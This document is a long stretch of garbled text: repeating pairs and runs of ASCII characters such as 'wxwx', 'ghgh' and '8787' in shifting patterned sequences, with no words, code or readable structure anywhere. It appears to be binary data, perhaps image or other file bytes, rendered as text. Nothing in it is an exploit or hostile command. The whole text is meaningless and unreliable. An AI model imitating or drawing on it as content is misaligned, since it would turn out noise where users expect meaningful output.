zwxwxwxwxuvuvuvuvrqrqrqrqrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[WXWXWXWXUVUVUVUVSTSTSTSTQRQRQRQROPOPOPOPMNMNMNMNMNMNMNMLKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?>=><;<;<;<;}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvrqrqrqrqpopopopopopopoponmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[WXWXWXWXUVUVUVUVSTSTSTSTQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLKLKLKLKJIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB=>=>=>=><;<;<;;;}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvutstrqrqrqrqpopopoponmnmnmnmnmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[WXWXWXWXUVUVUVUVSTSTSTSTQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJIJIJIJIHGHGHGHGHEFEFEFEFCDCDCDCDABABABAB=>=>=>=>;;;<;<;<<;<;<;<;}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxststssssrqrqrqrqpopopoponmnmnmnmlklklklklklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[WXWXWXWXUVUVUVUVSTSTSTSTQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHGHGHGHGFEFEFEFEFCDCDCDCDABABABAB=>=>=>=>;<;<;<;<<;<;<;<;}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxsstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijijijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[ZYWXWXWXWXUVUVUVUVSTSTSTSTQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFEFEFEFEDCDCDCDCDABABABAB=>=>=>=>;<;<;<;<<;;;;;<;}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxtstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghghghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]ZYZYZYZYWXWXWXWWUVUVUVUVSTSTSTSTQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDCDCDCDCBABABABAB=>=>=>=>;<;<;<;<<;<;<;:9}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxtstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefefefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]ZYZYZYZYWWWWXWXWUVUVUVUVSTSTSTSTQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABABABABABA@=>=>=>=>;<;<;<;<:9:9:9:9}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxtstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcdcdcdcdcbabababa`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWUVUVUVUVSTSTSTSTQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<:9:9:9:9}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwvtstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababababababa`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWUVUVUVUVSTSTSTSTQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;;;;;;<;:9:9:9:9}~}~}~}~{|{|{|{|yzyzyzyzuvuvuvuvtstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWUVUVUVUVSTSTSTSTQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=><;<;<;<;:9:9:9:9}~}~}~}~{|{|{|{|yzyzyzyzuvuvuvuvssssststrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]^]^]^]^]ZYZYZYZYXWXWXWXWUVUVUVUVSTSTSTSTQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=><;<;<;<;:9:9:9:9}~}~}~}~{|{|{|{|yzyzyzyzuvuvuvuvststststrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWUVUVUVUVSTSTSTSTQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=><;<;<;<;:9:9:9:9~}~}~}~}~}~}~}~{|{|{|{|yzyzyzyzuvuvuvuvststststrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWWWWWWXUVUVUVUVSTSTSTSTQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=><;<;<;<;:9:9:9:9}~}~}~}~}|{|{|{|{|{|{|{|yzyzyzyzuvuvuvuvststststrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYWXWXWXWXUVUVUVUVSTSTSTSTQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=><;<;<;<;:9:9:9:9}~}~}~}~{|{|{|{|{zyzyzyzyzyzyzyzuvuvuvuvststststrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYWXWXWXWXUVUVUVUVSTSTSTSTQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=><;<;;;;;:9:9:9:9}~}~}~}~{|{|{|{|yzyzyzyzyxwxwxwxuvuvuvuvststststrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYWXWXWXWXUVUVUVUVSTSTSTSTQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<:9:9:9:9}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvstssssssrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYWXWXWXWXUVUVUVUVSTSTSTSTQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<:9:9:9:9}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvtstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYWXWXWXWXUVUVUVUVSTSTSTSTQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<:9:9:9:9}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvtstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYWXWXWWWWUVUVUVUVSTSTSTSTQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<:9:9:9:9}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvtstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYWWXWXWXWUVUVUVUVSTSTSTSTQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<:9:9:9:9}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvtstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWUVUVUVUVSTSTSTSTQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;;:9:9:9:9}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvtstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWUVUVUVUVSTSTSTSTQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;;;;<;<;:9:9:9:9}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvtststsssrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWUVUVUVUVSTSTSTSTQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=><;<;<;<;:9:9:9:9}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvssstststrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWUVUVUVUVSTSTSTSTQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=><;<;<;<;:9:9:9:9}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWUVUVUVUVSTSTSTSTQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=><;<;<;<;:9:9:9:9:9:9:9:9878787876565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -:9:9:9:9878787876565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -:9:9:9:9878787876565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -:9:9:9:9878787876565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -:9:9:9:9878787876565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -:9:9:9:9878787876565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - -:9:9:9:9878787876565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - -:9:9:9:9878787876565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -:9:9:9:9878787876565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -:9:9:9:9878787876565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -:9:9:9:9878787876565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -:9:9:9:9878787876565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -:9:9:9:9878787876565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!       - - - -:9:9:9:9878787876565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!       - - - -:9:9:9:9878787876565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!     - - - -:9:9:9:9878787876565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!     - - - -:9:9:9:9878787876565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!        - - - -:9:9:9:9878787876565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#       - - - -:9:9:987878787876565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#         - - - -87878787878787656565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#         - - - -87878787656565656565654343434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#         - - - -87878787656565654343434343434321212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#          - - - -878787876565656543434343212121212121210/0/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#"!"!           - - - -878787876565656543434343212121210/0/0/0/0/0/0/.-.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%"!"!"!"!       - - - - - -878787876565656543434343212121210/0/0/0/.-.-.-.-.-.-.-,+,+,+,+,+*)*)*)*)('('('('&%&%&%&%"!"!"!"!        - - - - - - 878787876565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+,+,+,+*)*)*)*)*)('('('('&%&%&%&%"!"!"!"!         - - - -878787876565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)*)*)*)('('('('('&%&%&%&%"!"!"!"!         - - - -878787876565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('('('('&%&%&%&%&%"!"!"!"!         - - - -878787876565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%&%&%&%$#"!"!"!"!         - - - -878787876565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -878787876565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!       - - - -878787876565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -878787876565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -878787876565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -878787876565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -878787876565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -878787876565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!      - - - - 33445566ONNMMLLKTUUVVWWXIHHGGFFELMMNNOOPQPPOONNMDEEFFGGHYXXWWVVU<==>>??@a``__^^]45566778ihhggffe,--..//0gffeeddcOPPQQRRS54433221eeffgghh88776655]]^^__``@@??>>==UUVVWWXXHHGGFFEEMMNNOOPPPPOONNMMEEFFGGHHXXWWVVUU==>>??@@QQPPOONNeeffgghh$#"! uvvwwxxy(''&&%%$mnnooppq0//..--,effgghhi87766554]^^__``a@??>>==>=TUUVVWWXIHHGGFFELMMNNOOPQPPOONNMDEEFFGGHYXXWWVVU<==>>??@a``__^^]45566778_^^]]WWVW]]^^__`-,,++**)mmnnoopp00//..--eeffgghh88776655]]^^__``@@??>>==UUVVWWXXHHGGFFEEMMNNOOPPPPOONNMMEEFFGGHHIIHHGGFFmmnnoopp}~~ uvvwwxxy(''&&%%$mnnooppq0//..--,effgghhi87766554]^^__``a@??>>==`aabbccd=<<;;::9XYYZZ[[\EDDCCBBAPQQRRSSTMLLKKJJIHIIJJKKLUTTSSRRQ@AABBCCD]\\[[ZZY899::;;>=TUUVVWWXIHHGGFFELMMNNOOPQPPOONNMDEEFFGGHYXXWWVVU<==>>??@RQQPPOONdeeffggh%$#"! uuvvwwxx((''&&%%mmnnoopp00//..--eeffgghh88776655]]^^__``@@??>>==UUVVWWXXHHGGFFEEMMNNOOPPAA;;::99zz{{||}}}~~ uvvwwxxy(''&&%%$mnnooppq0//..--,effgghhi87766554]^^__``a,++**))(!!""##$$rrqqppooLLMMNNOO88776655hiijjkkl54433221`aabbccd=<<;;::9XYYZZ[[\EDDCCBBAPQQRRSSTMLLKKJJIHIIJJKKLUTTSSRRQ@AABBCCDNMMLLKKJhiijjkklyyzz{{||$$##""!!qqrrsstt,,++**))iijjkkll44332211aabbccdd<<;;::99YYZZ[[\\DDCCBBAAQQRRSSTT88776655~~ -yzz{{||}$##""!! qrrssttu,++**))(ijjkkllm43322110abbccdde(''&&%%~~}}%%&&''((nnmmllkkPPQQRRSS44332211lmmnnoop100//..-deeffggh98877665\]]^^__`A@@??>>=TUUVVWWXIHHGGFFELMMNNOOPQPPOONNMDEEFFGGHJIIHHGGFlmmnnoop}}~~ uuvvwwxx((''&&%%mmnnoopp00//..--eeffgghh88776655]]^^__``@@??>>==UUVVWWXX44332211 -  }~~ uvvwwxxy(''&&%%$mnnooppq0//..--,effgghhi||{{zzyy))**++,,jjiihhggTTUUVVWW00//..--pqqrrsst-,,++**)hiijjkkl54433221`aabbccd=<<;;::9XYYZZ[[\EDDCCBBAPQQRRSSTMLLKKJJIHIIJJKKLFEEDDCCBpqqrrssyyyzz{{||$$##""!!qqrrsstt,,++**))iijjkkll44332211aabbccdd<<;;::99YYZZ[[\\00//..-- - - yzz{{||}$##""!! qrrssttu,++**))(ijjkkllmxxwwvvuu--..//00ffeeddcc]]^^__``,,++**))tuuvvwwx)((''&&%lmmnnoop100//..-deeffggh98877665\]]^^__`A@@??>>=TUUVVWWXIHHGGFFELMMNNOOPBAA;;::9yzz{{||}}}~~ uuvvwwxx((''&&%%mmnnoopp00//..--eeffgghh88776655]]^^__``,,++**)) }~~ uvvwwxxy(''&&%%$mnnooppqttssrrqq11223344bbaa``__aabbccdd((''&&%%xyyzz{{|%$$##""!pqqrrsst-,,++**)hiijjkkl54433221`aabbccd=<<;;::9XYYZZ[[\EDDCCBBAPQQRRSST98877665}~~ yyzz{{||$$##""!!qqrrsstt,,++**))iijjkkll44332211aabbccdd((''&&%%  - - yzz{{||}$##""!! qrrssttuppoonnmm55667788^^]]WWVVeeffgghh$#"! |}}~~! tuuvvwwx)((''&&%lmmnnoop100//..-deeffggh98877665\]]^^__`A@@??>>=TUUVVWWX54433221 - -  }}~~ uuvvwwxx((''&&%%mmnnoopp00//..--eeffgghh - -  }~~ uvvwwxxy llkkjjii99::;;<>??@@QQPPOONNmmnnoopp|}}~~! tuuvvwwx)((''&&%lmmnnoop100//..-deeffggh98877665\]]^^__`-,,++**) }}~~ uuvvwwxx((''&&%%mmnnoopp - -  }~~~~}}||ddccbbaaAABBCCDDMMLLKKJJqqrrssyyxyyzz{{|%$$##""!pqqrrsst-,,++**)hiijjkkl54433221`aabbccd)((''&&% - - yyzz{{||$$##""!!qqrrsstt   - -  -{{zzyyxw``__^^]]EEFFGGHHIIHHGGFFzz{{||}} |}}~~! tuuvvwwx)((''&&%lmmnnoop100//..-deeffggh% - -  }}~~ uuvvwwxx  - -  - vutssrrq\\[[ZZYYIIJJKKLLEEDDCCBB~~ - - - xyyzz{{|%$$##""!pqqrrsst-,,++**)hiijjkkl  - - yyzz{{|| - -  !~~}}|   - - qppoonnm - -XXWWVVUUMMNNOOPPAA;;::99 -   |}}~~! tuuvvwwx)((''&&%lmmnnoop - -  }}~~~~}}|!""##$$%|{{zzyyx - - mllkkjji TTSSRRQQQQRRSSTT88776655 - - xyyzz{{|%$$##""!pqqrrsst  - -  |{{zzyyx%&&''(()xwwvvuut !~~}}|  ihhggffePPOONNMMUUVVWWXX44332211 - -   |}}~~! tuuvvwwx  - -  - - wvutssrr)**++,,-tssrrqqp!""##$$%|{{zzyyx - - eddccbbaLLKKJJIIYYZZ[[\\00//..--  - - xyyzz{{| - -  ~~}}  - - qqppoonn-..//001poonnmml%&&''(()xwwvvuut !~~}}|  %%&&'a``__^^] HHGGFFEE]]^^__``,,++**)) - -   |}}~~~~}}!!""##$$||{{zzyy - - mmllkkjj12233445lkkjjiih)**++,,-tssrrqqp!""##$$%|{{zzyyx - - '(())**+]\[ZYXWW - - DDCCBBAAaabbccdd((''&&%%  - -  ||{{zzyy%%&&''((xxwwvvuu ~~}} iihhggff56677889hggffeed-..//001poonnmml%&&''(()xwwvvuut !~~}}| +,,--../VVUUTTSS@@??>>==eeffgghh - -   - - xwvutssr))**++,,ttssrrqq!!""##$$||{{zzyy - - eeddccbb9::;;<<=dccbbaa`12233445lkkjjiih)**++,,-tssrrqqp!""##$$%|{{zzyyx/0011223RRQQPPOO<<;;::99iijjkkll ~~}  - - rqqppoon--..//00ppoonnmm%%&&''((xxwwvvuu ~~}} %%&&aa``__^^=>>??@@A`__^^]]\56677889hggffeed-..//001poonnmml%&&''(()xwwvvuut !~~}}|34455667NNMMLLKK88776655mmnnoopp !!""##$}||{{zzy - -  nmmllkkj11223344llkkjjii))**++,,ttssrrqq!!""##$$||{{zzyy - - ''(())**]]\[ZYXWABBCCDDE\[[ZZYYX9::;;<<=dccbbaa`12233445lkkjjiih)**++,,-tssrrqqp!""##$$%|{{zzyyx~~}}||{78899::;JJIIHHGG44332211qqrrsstt$%%&&''(yxxwwvvu ~~} jiihhggf55667788hhggffee--..//00ppoonnmm%%&&''((xxwwvvuu ~~}} ++,,--..WVVUUTTSEFFGGHHIXWWVVUUT=>>??@@A`__^^]]\56677889hggffeed-..//001poonnmml%&&''(()xwwvvuut !{zzyyssr;AABBCCDFFEEDDCC !!00//..--uuvvwwxx ~~}}|())**++,uttssrrq !!""##$}||{{zzy - - feeddccb99::;;<=""##$$%%,,++**))yyzz{{|| - - |{{zzyyx,--..//0qppoonnm$%%&&''(yxxwwvvu ~~} %%&baa``__^==>>??@@``__^^]]55667788hhggffee--..//00ppoonnmm%%&&''((xxwwvvuu ~~}}33445566ONNMMLLKMNNOOPPQPOONNMMLEFFGGHHIXWWVVUUT=>>??@@A`__^^]]\56677889hggffeed-..//001poonnmml%&&''(()nmmllkkjHIIJJKKL<;;::998&&''(())((''&&%%}}~~ - - wvutssrr01122334mllkkjji())**++,uttssrrq !!""##$}||{{zzy - - &''(())*^]]\[ZYXAABBCCDD\\[[ZZYY99::;;<>??@@``__^^]]55667788hhggffee--..//00ppoonnmm%%&&''((xxwwvvuu {{zzyyss;;AABBCCGFFEEDDCUVVWWXXYHGGFFEEDMNNOOPPQPOONNMMLEFFGGHHIXWWVVUUT=>>??@@A`__^^]]\56677889hggffeed-..//001feeddccbPQQRRSST43322110..//0011 mmllkkjj899::;;YZZ[[\\]DCCBBAA@QRRSSTTULKKJJIIHIJJKKLLMTSSRRQQPABBCCDDE\[[ZZYYX9::;;<<=dccbbaa`12233445baa``__^TUUVVWW]0//..--,22334455iihhggff<==>>??@a``__^^]45566778ihhggffe,--..//0qppoonnm$%%&&''(yxxwwvvu ~~}23344556OONNMMLLMMNNOOPPPPOONNMMEEFFGGHHXXWWVVUU==>>??@@``__^^]]55667788hhggffee--..//00ppoonnmm%%&&''((nnmmllkkHHIIJJKK=<;;::99]^^__``a@??>>==>??@@A`__^^]]\56677889^]]WWVVU]^^__``a,++**))(66778899eeddccbb@AABBCCD]\\[[ZZY899::;;>??@a``__^^]45566778ihhggffe,--..//0qppoonnm$%%&&''(yxxwwvvu |{{zzyys:;;AABBCGGFFEEDDUUVVWWXXHHGGFFEEMMNNOOPPPPOONNMMEEFFGGHHXXWWVVUU==>>??@@``__^^]]55667788hhggffee--..//00ffeeddccPPQQRRSS44332211effgghhi87766554]^^__``a@??>>==>??@@AQPPOONNMeffgghhi#"! >>??@@AA ''(())**]]\[ZYXWHIIJJKKLUTTSSRRQ@AABBCCD]\\[[ZZY899::;;>??@a``__^^]45566778ihhggffe,--..//0qppoonnm$%%&&''(onnmmllkGHHIIJJK>=<;;::9]]^^__``@@??>>==UUVVWWXXHHGGFFEEMMNNOOPPPPOONNMMEEFFGGHHXXWWVVUU==>>??@@``__^^]]55667788^^]]WWVV]]^^__``,,++**))mnnooppq0//..--,effgghhi87766554]^^__``a@??>>==>??@@AA__^^]]\\66778899ggffeedd..//0011oonnmmll&&''(())mmllkkjjIIJJKKLL;;::9988^__``aab?>>==<<;VWWXXYYZGFFEEDDCNOOPPQQRONNMMLLKFGGHHIIJWVVUUTTS>??@@AAB_^^]]\\[6778899:UTTSSRRQijjkkllmRRSSTTUUKKJJIIHHJJKKLLMMSSRRQQPPBBCCDDEE[[ZZYYXX::;;<<==ccbbaa``22334455kkjjiihh**++,,--iihhggffMMNNOOPP77665544bccddeef;::99887Z[[\\]]^CBBAA@@?RSSTTUUVKJJIIHHGJKKLLMMNSRRQQPPOBCCDDEEF[ZZYYXXW:;;<<==>QPPOONNMmnnooppqVVWWXXYYGGFFEEDDNNOOPPQQOONNMMLLFFGGHHIIWWVVUUTT>>??@@AA__^^]]\\66778899ggffeedd..//0011eeddccbbQQRRSSTT33221100fgghhiij76655443^__``aab?>>==<<;VWWXXYYZGFFEEDDCNOOPPQQRONNMMLLKFGGHHIIJWVVUUTTS>??@@AABMLLKKJJIqrrssyyz ZZ[[\\]]CCBBAA@@RRSSTTUUKKJJIIHHJJKKLLMMSSRRQQPPBBCCDDEE[[ZZYYXX::;;<<==ccbbaa``22334455aa``__^^UUVVWW]]//..--,,jkkllmmn3221100/bccddeef;::99887Z[[\\]]^CBBAA@@?RSSTTUUVKJJIIHHGJKKLLMMNSRRQQPPOBCCDDEEFIHHGGFFEz{{||}}~ - - ^^__``aa??>>==<>??@@AA__^^]]\\66778899]]WWVVUU^^__``aa++**))((nooppqqr/..--,,+fgghhiij76655443^__``aab?>>==<<;VWWXXYYZGFFEEDDCNOOPPQQRONNMMLLKFGGHHIIJEDDCCBBA~ - - bbccddee;;::9988ZZ[[\\]]CCBBAA@@RRSSTTUUKKJJIIHHJJKKLLMMSSRRQQPPBBCCDDEE[[ZZYYXX::;;<<==TTSSRRQQbbccddee''&&%%$#rssttuuv+**))(('jkkllmmn3221100/bccddeef;::99887Z[[\\]]^CBBAA@@?RSSTTUUVKJJIIHHGJKKLLMMNA;;::998 ffgghhii77665544^^__``aa??>>==<>??@@AAPPOONNMMffgghhii"! vwwxxyyz'&&%%$$#nooppqqr/..--,,+fgghhiij76655443^__``aab?>>==<<;VWWXXYYZGFFEEDDCNOOPPQQR87766554jjkkllmm33221100bbccddee;;::9988ZZ[[\\]]CCBBAA@@RRSSTTUUKKJJIIHHJJKKLLMMSSRRQQPPBBCCDDEELLKKJJIIjjkkllmmz{{||}}~#""!! 